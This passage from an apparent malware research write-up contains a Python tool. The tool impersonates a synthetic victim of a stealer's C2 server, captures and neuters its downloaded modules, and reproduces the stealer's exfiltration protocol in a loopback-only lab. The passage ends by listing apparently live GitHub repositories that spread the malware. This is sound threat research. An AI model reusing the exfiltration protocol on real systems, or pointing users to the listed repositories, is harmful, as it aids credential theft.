    mask = secrets.token_bytes(4); out = bytearray([0x80 | (opcode & 0x0F)]); n = len(payload)
    if n <= 125: out.append(0x80 | n)
    elif n <= 0xFFFF: out.append(0x80 | 126); out.extend(struct.pack(">H", n))
    else: out.append(0x80 | 127); out.extend(struct.pack(">Q", n))
    out.extend(mask); out.extend(bytes(b ^ mask[i % 4] for i, b in enumerate(payload)))
    return bytes(out)


class WSReader:
    def __init__(self, sock, leftover=b""):
        self.sock = sock; self.buf = bytearray(leftover); self.frag_opcode = None; self.frag_payload = bytearray()
    def _need(self, n):
        while len(self.buf) < n:
            chunk = self.sock.recv(4096)
            if not chunk: raise ConnectionError("peer closed")
            self.buf.extend(chunk)
    def read_frame(self, timeout=1.0):
        self.sock.settimeout(timeout)
        try: self._need(2)
        except socket.timeout: return None
        b0, b1 = self.buf[0], self.buf[1]; fin = bool(b0 & 0x80); opcode = b0 & 0x0F; masked = bool(b1 & 0x80); ln = b1 & 0x7F; pos = 2
        if ln == 126: self._need(pos + 2); ln = struct.unpack(">H", self.buf[pos:pos+2])[0]; pos += 2
        elif ln == 127: self._need(pos + 8); ln = struct.unpack(">Q", self.buf[pos:pos+8])[0]; pos += 8
        mask = b""
        if masked: self._need(pos + 4); mask = bytes(self.buf[pos:pos+4]); pos += 4
        self._need(pos + ln); payload = bytearray(self.buf[pos:pos+ln]); del self.buf[:pos+ln]
        if masked:
            for i in range(ln): payload[i] ^= mask[i % 4]
        return fin, opcode, bytes(payload)
    def read_message(self, timeout=1.0):
        while True:
            fr = self.read_frame(timeout)
            if fr is None: return None
            fin, opcode, payload = fr
            if opcode in (WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG): return opcode, payload
            if opcode in (WS_OP_TEXT, WS_OP_BINARY):
                if fin: return opcode, payload
                self.frag_opcode = opcode; self.frag_payload = bytearray(payload); continue
            if opcode == WS_OP_CONT and self.frag_opcode is not None:
                self.frag_payload.extend(payload)
                if fin:
                    op, data = self.frag_opcode, bytes(self.frag_payload); self.frag_opcode = None; self.frag_payload.clear(); return op, data


def websocket_handshake(sock, host, port, log, user_agent):
    host_header = host if port == 80 else f"{host}:{port}"
    request = (f"GET / HTTP/1.1\r\nHost: {host_header}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {WS_KEY}\r\nSec-WebSocket-Version: 13\r\nUser-Agent: {user_agent}\r\n\r\n").encode("ascii")
    sock.sendall(request); sock.settimeout(15); resp = bytearray()
    while b"\r\n\r\n" not in resp:
        chunk = sock.recv(4096)
        if not chunk: raise ConnectionError("peer closed before WebSocket handshake completed")
        resp.extend(chunk)
        if len(resp) > MAX_HTTP_HEADER: raise ValueError("WebSocket handshake header exceeded safety limit")
    head, leftover = bytes(resp).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n"); status = lines[0] if lines else ""; headers = {}
    for line in lines[1:]:
        if ":" in line:
            k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
    log.event("HANDSHAKE", f"Control channel response: {status}", module="c2-406")
    if "101" not in status: raise ConnectionError(f"server did not return HTTP 101: {status}")
    expected = base64.b64encode(hashlib.sha1((WS_KEY + WS_GUID).encode("ascii")).digest()).decode("ascii")
    actual = headers.get("sec-websocket-accept", "")
    if actual and actual != expected: raise ConnectionError(f"unexpected Sec-WebSocket-Accept: {actual!r}")
    return leftover


# ---------------------------------------------------------------------------
# Module 3: task-triggered TCP/408 module collector
# ---------------------------------------------------------------------------

@dataclass(frozen=True)
class ModuleTask:
    task_type: str
    task_id: str = ""
    version: str = "unknown"
    param: str = ""
    raw: str = ""


def parse_createtask(text):
    parts = [x.strip() for x in text.strip().split(";")]
    if len(parts) < 3: return None
    if parts[0].lower() == "task" and parts[1].lower() == "createtask": i = 2
    elif parts[0].lower() == "createtask": i = 1
    else: return None
    task_type = ""; fields = {"task_id": "", "version": "unknown", "param": ""}
    if i < len(parts) and parts[i].lower() not in {"task_id", "version", "param", "type"}: task_type = parts[i]; i += 1
    while i < len(parts):
        key = parts[i].lower()
        if key == "type" and i + 1 < len(parts): task_type = parts[i+1]; i += 2
        elif key in fields and i + 1 < len(parts): fields[key] = parts[i+1]; i += 2
        else: i += 1
    if not task_type: return None
    return ModuleTask(task_type, fields["task_id"], fields["version"] or "unknown", fields["param"], text)


def minimal_pe_meta(raw):
    meta = {"pe_like": False}
    if len(raw) < 0x40 or raw[:2] != b"MZ": return meta
    try: e = struct.unpack_from("<I", raw, 0x3C)[0]
    except struct.error: return meta
    meta["e_lfanew"] = e
    if e < 0x40 or e + 26 > len(raw) or raw[e:e+4] != b"PE\x00\x00": return meta
    machine, sections, ts = struct.unpack_from("<HHI", raw, e+4); opt_size = struct.unpack_from("<H", raw, e+20)[0]; magic = struct.unpack_from("<H", raw, e+24)[0]
    meta.update(pe_like=True, machine=f"0x{machine:04x}", number_of_sections=sections, coff_timestamp=ts, optional_header_size=opt_size, optional_magic=f"0x{magic:04x}")
    opt = e + 24
    if magic in (0x10B, 0x20B) and opt + 0x3C <= len(raw):
        meta["entrypoint_rva"] = f"0x{struct.unpack_from('<I', raw, opt+0x10)[0]:x}"; meta["size_of_image"] = struct.unpack_from("<I", raw, opt+0x38)[0]
    return meta


def neuter_pe(raw, pe_meta):
    patches = []; e = pe_meta.get("e_lfanew")
    if len(raw) >= 2: raw[:2] = b"NZ"; patches.append("MZ signature changed to NZ")
    if isinstance(e, int) and 0 <= e <= len(raw)-4:
        raw[e:e+4] = b"\x00"*4; patches.append("PE signature zeroed")
        if e+6 <= len(raw): raw[e+4:e+6] = b"\x00"*2; patches.append("COFF Machine zeroed")
        if e+26 <= len(raw): raw[e+24:e+26] = b"\x00"*2; patches.append("Optional Header magic zeroed")
    if len(raw) >= 0x40: raw[0x3C:0x40] = b"\x00"*4; patches.append("e_lfanew zeroed")
    return patches


def fetch_task_module_http(host, port, task_type, checkin_id, timeout, max_bytes, log):
    if not safe_component(task_type): raise ValueError("task type contains unsafe characters")
    if not safe_component(checkin_id, 32): raise ValueError("check-in ID contains unsafe characters")
    req = (f"GET /task/{task_type} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {checkin_id}\r\nConnection: close\r\n\r\n").encode("ascii")
    log.event("MODULE-GET", f"GET {host}:{port}/task/{task_type} User-Agent={checkin_id}", module="c2-408")
    with socket.create_connection((host, port), timeout=timeout) as sk:
        sk.settimeout(timeout); sk.sendall(req); buf = bytearray()
        while b"\r\n\r\n" not in buf:
            chunk = sk.recv(4096)
            if not chunk: break
            buf.extend(chunk)
            if len(buf) > MAX_HTTP_HEADER: raise ValueError("HTTP response header exceeded safety limit")
        if b"\r\n\r\n" not in buf: raise ValueError("incomplete HTTP response")
        head, first = bytes(buf).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n")
        try: status = int(lines[0].split()[1])
        except (IndexError, ValueError): raise ValueError(f"invalid HTTP status line: {lines[0]!r}")
        headers = {}
        for line in lines[1:]:
            if ":" in line:
                k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
        if status != 200: raise ValueError(f"module endpoint returned HTTP {status}")
        body = bytearray(first); expected = None
        if "content-length" in headers:
            expected = int(headers["content-length"])
            if expected <= 0 or expected > max_bytes: raise ValueError(f"Content-Length outside safety limit: {expected}")
        while True:
            if len(body) > max_bytes: raise ValueError(f"module exceeded maximum allowed size ({max_bytes} bytes)")
            if expected is not None and len(body) >= expected: del body[expected:]; break
            chunk = sk.recv(min(65536, max_bytes + 1 - len(body)))
            if not chunk: break
            body.extend(chunk)
        if expected is not None and len(body) != expected: raise ValueError(f"short HTTP body: {len(body)}/{expected}")
        if not body: raise ValueError("empty module body")
        return headers, body


class ModuleCaptureManager:
    def __init__(self, args, log): self.args, self.log, self.seen = args, log, set()
    def capture(self, task, profile):
        allowed = self.args.capture_type or ["Stealer"]
        if task.task_type.lower() not in {x.lower() for x in allowed}:
            self.log.event("MODULE-SKIP", f"Task type {task.task_type!r} is not in allowlist {allowed}", module="c2-408"); return
        key = (profile.checkin_id.lower(), task.task_type.lower(), task.version.lower(), task.task_id.lower())
        if key in self.seen: self.log.event("MODULE-SKIP", "Duplicate module task already processed", module="c2-408"); return
        self.seen.add(key); raw = None
        try:
            host = self.args.task_host or self.args.c2_host
            headers, raw = fetch_task_module_http(host, self.args.task_port, task.task_type, profile.checkin_id, self.args.task_timeout, self.args.max_module_bytes, self.log)
            orig_size, orig_sha, pe = len(raw), sha256_bytes(raw), minimal_pe_meta(raw)
            if not pe.get("pe_like"):
                self.log.event("MODULE-SAFE", f"408 returned {orig_size} bytes sha256={orig_sha}, but body is not a valid PE; nothing written", module="c2-408"); return
            patches = neuter_pe(raw, pe); qsha = sha256_bytes(raw); outdir = Path(self.args.capture_dir); outdir.mkdir(parents=True, exist_ok=True)
            try: os.chmod(outdir, 0o700)
            except OSError: pass
            ver = task.version if safe_component(task.version, 32) else "unknown"; tid = task.task_id if safe_component(task.task_id, 64) else "noid"; ttype = task.task_type if safe_component(task.task_type) else "module"
            base = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_synthetic_{ttype}_{ver}_{tid}_{orig_sha[:12]}"
            dp, mp = outdir/(base+".quarantine.bin"), outdir/(base+".metadata.json")
            fd = os.open(dp, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0o600)
            with os.fdopen(fd, "wb") as fp: fp.write(raw); fp.flush()
            read_only(dp)
            rec = {"capture_time_utc": Logger.iso(), "task": asdict(task), "synthetic_checkin_id": profile.checkin_id, "control_channel": {"host": self.args.c2_host, "port": self.args.control_port}, "task_channel": {"host": host, "port": self.args.task_port, "path": f"/task/{task.task_type}", "user_agent": profile.checkin_id, "response_headers": headers}, "original_in_memory_only": {"size": orig_size, "sha256": orig_sha, "pe": pe}, "quarantine": {"file": dp.name, "sha256": qsha, "patches": patches, "original_header_bytes_preserved": False}, "safety": "Original PE bytes were never written to disk; executable-identifying fields were destroyed before disk I/O."}
            with open(mp, "x", encoding="utf-8") as fp: json.dump(rec, fp, ensure_ascii=False, indent=2)
            read_only(mp)
            self.log.event("MODULE", f"Captured and neutered {task.task_type} {ver}: {dp} original_size={orig_size} original_sha256={orig_sha}", module="c2-408")
        except Exception as exc:
            self.log.event("MODULE-ERR", f"Module collection failed: {exc}", module="c2-408", task=asdict(task))
        finally:
            if raw is not None:
                for i in range(len(raw)): raw[i] = 0


def classify_control_message(text):
    t = text.strip().lower()
    if t.startswith("ping"): return "PING"
    if t.startswith("pong"): return "PONG"
    if t.startswith("getinfo"): return "GETINFO"
    if t.startswith("checkserver"): return "CHECKSERVER"
    if t.startswith("task;") or t.startswith("createtask"): return "TASK"
    if t.startswith("closetask"): return "CLOSETASK"
    if t.startswith("update"): return "UPDATE"
    if t.startswith("task_done;"): return "TASK_DONE"
    return "UNCLASSIFIED"


def run_honeypot(args, profile, log):
    checkin, info = profile.checkin_message(), profile.info_message()
    log.event("PROFILE", f"Synthetic C2 victim: id={profile.checkin_id} user={profile.username} os={profile.os_version!r} av={profile.av_product!r}", module="c2-406", profile=asdict(profile))
    if args.dry_run:
        log.event("DRYRUN", f"Would connect to {args.c2_host}:{args.control_port}/WebSocket", module="c2-406")
        log.event("DRYRUN", f"Would send: {checkin!r}", module="c2-406")
        log.event("DRYRUN", f"Would answer getinfo with: {info!r}", module="c2-406")
        if args.capture_modules: log.event("DRYRUN", f"Allowlisted createtask events would trigger TCP/408 retrieval from {args.task_host or args.c2_host}:{args.task_port}", module="c2-408")
        return
    manager = ModuleCaptureManager(args, log) if args.capture_modules else None; deadline = None if args.observe <= 0 else time.time() + args.observe
    with socket.create_connection((args.c2_host, args.control_port), timeout=args.connect_timeout) as sock:
        reader = WSReader(sock, websocket_handshake(sock, args.c2_host, args.control_port, log, args.c2_user_agent))
        sock.sendall(ws_encode(checkin.encode())); log.event("SEND", f"Registered synthetic victim: {checkin!r}", module="c2-406")
        while True:
            if deadline is not None and time.time() >= deadline: log.event("INFO", f"Observation window ended after {args.observe:.1f} seconds", module="c2-406"); break
            msg = reader.read_message(timeout=1.0)
            if msg is None: continue
            opcode, payload = msg
            if opcode == WS_OP_CLOSE: log.event("RECV", "Server sent WebSocket CLOSE", module="c2-406"); break
            if opcode == WS_OP_PING: sock.sendall(ws_encode(payload, opcode=WS_OP_PONG)); log.event("SEND", "Replied to WebSocket PING with PONG", module="c2-406"); continue
            if opcode == WS_OP_PONG: log.event("RECV", "Received WebSocket PONG", module="c2-406"); continue
            text = payload.decode("utf-8", errors="replace"); kind = classify_control_message(text)
            log.event("RECV", f"C2 command [{kind}]: {text!r}", module="c2-406", command=text, classification=kind, raw_sha256=sha256_bytes(payload))
            low = text.strip().lower()
            if low.startswith("getinfo") and not args.no_getinfo_response:
                sock.sendall(ws_encode(info.encode())); log.event("SEND", f"Sent synthetic victim information: {info!r}", module="c2-406")
            elif low.startswith("ping"):
                sock.sendall(ws_encode(b"pong")); log.event("SEND", "Sent application-layer pong", module="c2-406")
            task = parse_createtask(text)
            if task:
                log.event("TASK", f"Observed createtask: type={task.task_type!r} id={task.task_id!r} version={task.version!r}", module="c2-406", task=asdict(task))
                if manager: manager.capture(task, profile)
                else: log.event("MODULE-OFF", f"Task {task.task_type!r} recorded; TCP/408 collection is disabled", module="c2-408")
            # Intentionally: no task execution and no task_done response.
        try: sock.sendall(ws_encode(b"", opcode=WS_OP_CLOSE))
        except OSError: pass


# ---------------------------------------------------------------------------
# Module 4: controlled TCP/1488 Stealer exfiltration protocol lab
# ---------------------------------------------------------------------------

def resolve_controlled_target(host):
    infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM); addrs = []
    for info in infos:
        addr = info[4][0]
        if addr not in addrs: addrs.append(addr)
    if not addrs: raise ValueError("target did not resolve")
    bad = [a for a in addrs if not (ipaddress.ip_address(a).is_loopback or ipaddress.ip_address(a).is_private or ipaddress.ip_address(a).is_link_local)]
    if bad: raise ValueError("1488 safety policy blocks public destinations. Use a loopback/private sinkhole or lab receiver. Rejected: " + ", ".join(bad))
    return addrs


def safe_archive_name(name):
    name = name.replace("\\", "/").strip(); p = PurePosixPath(name)
    if not name or "\x00" in name or len(name) > 240 or p.is_absolute() or ".." in p.parts or ":" in name: raise ValueError(f"unsafe archive entry path: {name!r}")
    return str(p)


def deterministic_synthetic_bytes(label, size):
    if size < 0 or size > MAX_EXFIL_ENTRY: raise ValueError(f"synthetic entry size must be 0..{MAX_EXFIL_ENTRY}")
    seed = hashlib.sha256(("GENESIS-LAB:" + label).encode()).digest(); return (seed * ((size + len(seed)-1)//len(seed)))[:size] if size else b""


def parse_synthetic_entries(text_specs, byte_specs):
    entries = []
    for spec in text_specs:
        if "=" not in spec: raise ValueError(f"--entry requires NAME=TEXT, got {spec!r}")
        name, text = spec.split("=", 1); name = safe_archive_name(name); data = text.encode()
        if len(data) > MAX_EXFIL_ENTRY: raise ValueError(f"entry {name!r} is too large")
        entries.append((name, data))
    for spec in byte_specs:
        if "=" not in spec: raise ValueError(f"--entry-bytes requires NAME=SIZE, got {spec!r}")
        name, size_s = spec.rsplit("=", 1); name = safe_archive_name(name); entries.append((name, deterministic_synthetic_bytes(name, int(size_s, 0))))
    if not entries:
        entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true,"token":"SYNTHETIC_NOT_A_REAL_TOKEN"}\n'), ("Applications/Minecraft/launcher_accounts.json", b'{"lab":true,"account":"SYNTHETIC_ONLY"}\n'), ("LAB_README.txt", b"GENESIS-SU / REDHIVE 1488 PROTOCOL LAB - SYNTHETIC DATA ONLY\n")]
    if len(entries) > MAX_EXFIL_ENTRIES: raise ValueError(f"too many entries (max {MAX_EXFIL_ENTRIES})")
    if len({n for n,_ in entries}) != len(entries): raise ValueError("duplicate archive entry name")
    return entries


def build_synthetic_zip(entries):
    bio = io.BytesIO()
    with zipfile.ZipFile(bio, "w", compression=zipfile.ZIP_DEFLATED) as zf:
        for name, data in entries:
            zi = zipfile.ZipInfo(safe_archive_name(name)); zi.date_time = (2026,1,1,0,0,0); zi.compress_type = zipfile.ZIP_DEFLATED; zi.external_attr = 0o100600 << 16; zf.writestr(zi, data)
    blob = bio.getvalue()
    if len(blob) > MAX_EXFIL_ARCHIVE: raise ValueError(f"archive exceeds {MAX_EXFIL_ARCHIVE} bytes")
    return blob


def zip_manifest(blob):
    with zipfile.ZipFile(io.BytesIO(blob), "r") as zf:
        return [{"name": i.filename, "uncompressed_size": i.file_size, "compressed_size": i.compress_size, "crc32": f"{i.CRC:08x}"} for i in zf.infolist()]


def recv_exact(sock, n):
    out = bytearray()
    while len(out) < n:
        chunk = sock.recv(n-len(out))
        if not chunk: raise ConnectionError(f"peer closed after {len(out)}/{n} bytes")
        out.extend(chunk)
    return bytes(out)


def recv_line(sock, limit=128):
    out = bytearray()
    while len(out) < limit:
        b = sock.recv(1)
        if not b: raise ConnectionError("peer closed before newline")
        out.extend(b)
        if b == b"\n": return bytes(out)
    raise ValueError("identity line exceeded limit")


def receive_auth(sock, mode, timeout):
    sock.settimeout(timeout)
    if mode == "malware":
        data = sock.recv(0x100)
        if AUTH_MARKER not in data: raise RuntimeError(f"single-recv auth check failed; received={data!r}")
        return data
    buf = bytearray(); deadline = time.monotonic() + timeout
    while time.monotonic() < deadline and len(buf) < 4096:
        try: chunk = sock.recv(0x100)
        except socket.timeout: break
        if not chunk: break
        buf.extend(chunk)
        if AUTH_MARKER in buf: return bytes(buf)
    raise RuntimeError(f"auth marker not observed; received={bytes(buf)!r}")


def run_exfil_server(args, log):
    resolve_controlled_target(args.bind)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); srv.bind((args.bind, args.exfil_port)); srv.listen(5)
        log.event("LISTEN", f"1488 lab receiver listening on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
        for txn in range(1, args.transactions+1):
            conn, peer = srv.accept()
            with conn:
                conn.settimeout(args.exfil_timeout); ident = recv_line(conn); text = ident.decode("ascii", errors="replace").rstrip("\n")
                log.event("EXFIL-ID", f"Transaction {txn}: identity={text!r} from {peer[0]}", module="c2-1488-lab")
                if not re.fullmatch(r"stealer;[0-9A-Fa-f]{1,16}", text): raise ValueError(f"unexpected identity line: {text!r}")
                if args.auth_split and 0 < args.auth_split < len(AUTH_MARKER): conn.sendall(AUTH_MARKER[:args.auth_split]); time.sleep(args.auth_delay); conn.sendall(AUTH_MARKER[args.auth_split:])
                else: conn.sendall(AUTH_MARKER)
                declared = struct.unpack(">Q", recv_exact(conn, 8))[0]
                if declared > args.max_archive: raise ValueError(f"declared archive length {declared} exceeds limit")
                archive = recv_exact(conn, declared); manifest = zip_manifest(archive)
                log.event("EXFIL-ZIP", f"Transaction {txn}: synthetic ZIP bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(manifest)}", module="c2-1488-lab", entries=manifest)


def run_exfil_client(args, profile, log):
    resolve_controlled_target(args.exfil_host); entries = parse_synthetic_entries(args.entry, args.entry_bytes); batches = [entries] if args.layout == "batch" else [[e] for e in entries]
    for idx, batch in enumerate(batches, 1):
        archive = build_synthetic_zip(batch); ident = f"stealer;{profile.checkin_id}\n".encode("ascii"); wire_len = struct.pack(">Q", len(archive))
        if args.dry_run:
            log.event("DRYRUN", f"1488 transaction {idx}: target={args.exfil_host}:{args.exfil_port} identity={ident!r} archive_bytes={len(archive)} length_wire={wire_len.hex()}", module="c2-1488-lab", manifest=zip_manifest(archive)); continue
        with socket.create_connection((args.exfil_host, args.exfil_port), timeout=args.exfil_timeout) as sock:
            sock.settimeout(args.exfil_timeout); sock.sendall(ident); ack = receive_auth(sock, args.ack_mode, args.exfil_timeout); sock.sendall(wire_len); sock.sendall(archive)
            try: sock.shutdown(socket.SHUT_WR)
            except OSError: pass
        log.event("EXFIL", f"Sent synthetic 1488 transaction {idx}: bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(batch)}", module="c2-1488-lab", ack_hex=ack.hex(), length_wire_hex=wire_len.hex(), entries=zip_manifest(archive))


def run_exfil_selftest(log):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener.bind(("127.0.0.1", 0)); listener.listen(1); port = listener.getsockname()[1]; result = {}
    def srv():
        try:
            conn,_ = listener.accept()
            with conn:
                result["identity"] = recv_line(conn).decode().rstrip(); conn.sendall(AUTH_MARKER); n = struct.unpack(">Q", recv_exact(conn,8))[0]; body = recv_exact(conn,n); result["length"] = n; result["sha256"] = sha256_bytes(body); result["manifest"] = zip_manifest(body)
        finally: listener.close()
    t = threading.Thread(target=srv, daemon=True); t.start(); entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true}\n'), ("Applications/Minecraft/test.txt", b"SYNTHETIC\n")]; archive = build_synthetic_zip(entries)
    with socket.create_connection(("127.0.0.1", port), timeout=3) as sock:
        sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 3); sock.sendall(struct.pack(">Q", len(archive))); sock.sendall(archive)
    t.join(3)
    assert result["length"] == len(archive) and result["sha256"] == sha256_bytes(archive) and [x["name"] for x in result["manifest"]] == [x[0] for x in entries]
    # Reproduce fragmented auth weakness.
    listener2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener2.bind(("127.0.0.1", 0)); listener2.listen(1); port2 = listener2.getsockname()[1]
    def srv2():
        try:
            conn,_ = listener2.accept()
            with conn: recv_line(conn); conn.sendall(b"aut"); time.sleep(0.15); conn.sendall(b"h_ok")
        finally: listener2.close()
    t2 = threading.Thread(target=srv2, daemon=True); t2.start(); failed = False
    try:
        with socket.create_connection(("127.0.0.1", port2), timeout=2) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 1)
    except RuntimeError: failed = True
    t2.join(2); assert failed
    log.event("SELFTEST", "1488 loopback protocol self-test passed", module="c2-1488-lab", batch_zip_single_transaction=True, archive_entry_names_preserved=True, length_field="8-byte big-endian ZIP byte count", fragmented_auth_breaks_single_recv=True, external_network_calls=0)


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

def add_common(p):
    p.add_argument("--logfile", default=None, help="append structured JSONL evidence")
    p.add_argument("--dry-run", action="store_true", help="print intended actions without networking")


def add_profile(p):
    p.add_argument("--hostname", default="", help="synthetic computer name")
    p.add_argument("--user", default="", help="synthetic username")
    p.add_argument("--os", dest="os_version", default="", help="synthetic Windows version")
    p.add_argument("--av", default="", help="synthetic antivirus product")
    p.add_argument("--id", default="", help="synthetic 8-hex check-in ID")
    p.add_argument("--botid", default=CAMPAIGN_ID, help="observed campaign ID")
    p.add_argument("--country", default="", help="synthetic two-letter country code")


def add_delivery(p):
    p.add_argument("--delivery-base", default=DEFAULT_DELIVERY_BASE)
    p.add_argument("--staging-ua", default=DEFAULT_STAGING_UA)
    p.add_argument("--delivery-timeout", type=float, default=15.0)
    p.add_argument("--screen-width", type=int, default=960)
    p.add_argument("--screen-height", type=int, default=540)
    p.add_argument("--insecure-tls", action="store_true", help="disable TLS certificate verification")


def add_c2(p):
    p.add_argument("--c2-host", default=DEFAULT_C2_HOST)
    p.add_argument("--control-port", type=int, default=DEFAULT_CONTROL_PORT)
    p.add_argument("--observe", type=float, default=120.0, help="observation seconds; <=0 means no fixed deadline")
    p.add_argument("--connect-timeout", type=float, default=15.0)
    p.add_argument("--c2-user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
    p.add_argument("--no-getinfo-response", action="store_true")
    p.add_argument("--capture-modules", action="store_true", help="enable task-triggered TCP/408 module collection")
    p.add_argument("--task-host", default="", help="task host; defaults to --c2-host")
    p.add_argument("--task-port", type=int, default=DEFAULT_TASK_PORT)
    p.add_argument("--capture-type", action="append", default=None, metavar="TYPE", help="allowlisted module type; repeatable; default Stealer")
    p.add_argument("--capture-dir", default="captured_modules")
    p.add_argument("--task-timeout", type=float, default=12.0)
    p.add_argument("--max-module-bytes", type=int, default=MAX_MODULE_BYTES)


def build_parser():
    p = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="Genesis-SU synthetic victim research suite\n\nAll victim data is synthetic. Remote commands/responses are recorded only and never executed.")
    sub = p.add_subparsers(dest="command", required=True)
    x = sub.add_parser("delivery", help="synthetic delivery/staging callbacks and fake screenshot upload"); add_common(x); add_profile(x); add_delivery(x)
    x = sub.add_parser("honeypot", help="register a synthetic victim on TCP/406; optionally collect allowlisted 408 modules"); add_common(x); add_profile(x); add_c2(x)
    x = sub.add_parser("workflow", help="delivery -> TCP/406 -> optional task-triggered TCP/408 using one synthetic identity"); add_common(x); add_profile(x); add_delivery(x); add_c2(x)
    x = sub.add_parser("exfil-server", help="controlled TCP/1488 laboratory receiver"); add_common(x); x.add_argument("--bind", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--transactions", type=int, default=1); x.add_argument("--auth-split", type=int, default=0); x.add_argument("--auth-delay", type=float, default=0.05); x.add_argument("--exfil-timeout", type=float, default=5.0); x.add_argument("--max-archive", type=int, default=MAX_EXFIL_ARCHIVE)
    x = sub.add_parser("exfil-client", help="send a synthetic ZIP to a controlled/private TCP/1488 receiver"); add_common(x); add_profile(x); x.add_argument("--exfil-host", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--entry", action="append", default=[], metavar="NAME=TEXT"); x.add_argument("--entry-bytes", action="append", default=[], metavar="NAME=SIZE"); x.add_argument("--layout", choices=["batch","single"], default="batch"); x.add_argument("--ack-mode", choices=["malware","robust"], default="malware"); x.add_argument("--exfil-timeout", type=float, default=5.0)
    x = sub.add_parser("exfil-selftest", help="run all TCP/1488 assertions on loopback only"); add_common(x)
    return p


def validate(args):
    for name in ("control_port", "task_port", "exfil_port"):
        if hasattr(args, name) and not (1 <= getattr(args, name) <= 65535): raise SystemExit(f"--{name.replace('_','-')} must be 1..65535")
    if hasattr(args, "max_module_bytes") and not (512 <= args.max_module_bytes <= MAX_MODULE_BYTES): raise SystemExit(f"--max-module-bytes must be 512..{MAX_MODULE_BYTES}")
    if hasattr(args, "transactions") and not (1 <= args.transactions <= 64): raise SystemExit("--transactions must be 1..64")
    if hasattr(args, "country") and args.country and not re.fullmatch(r"[A-Za-z]{2}", args.country): raise SystemExit("--country must be a two-letter code")
    if hasattr(args, "id") and args.id and not re.fullmatch(r"[0-9A-Fa-f]{8}", args.id): raise SystemExit("--id must be exactly 8 hexadecimal characters")


def main():
    args = build_parser().parse_args(); validate(args); log = Logger(args.logfile)
    try:
        if args.command == "delivery": delivery_cycle(args, build_profile(args), log)
        elif args.command == "honeypot": run_honeypot(args, build_profile(args), log)
        elif args.command == "workflow":
            profile = build_profile(args); log.event("INFO", "Starting integrated workflow: delivery -> TCP/406" + (" -> task-triggered TCP/408" if args.capture_modules else ""), module="workflow"); delivery_cycle(args, profile, log); run_honeypot(args, profile, log)
        elif args.command == "exfil-server":
            if args.dry_run: resolve_controlled_target(args.bind); log.event("DRYRUN", f"Would listen on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
            else: run_exfil_server(args, log)
        elif args.command == "exfil-client": run_exfil_client(args, build_profile(args), log)
        elif args.command == "exfil-selftest": run_exfil_selftest(log)
        return 0
    except KeyboardInterrupt: log.event("STOP", "Interrupted by user"); return 130
    except Exception as exc: log.event("ERROR", f"{type(exc).__name__}: {exc}"); return 1
    finally: log.close()


if __name__ == "__main__":
    raise SystemExit(main())

 

From product names to actual collection paths

 

 

 

Alive Repositories At the Time of Writing:

https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download

https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro

https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate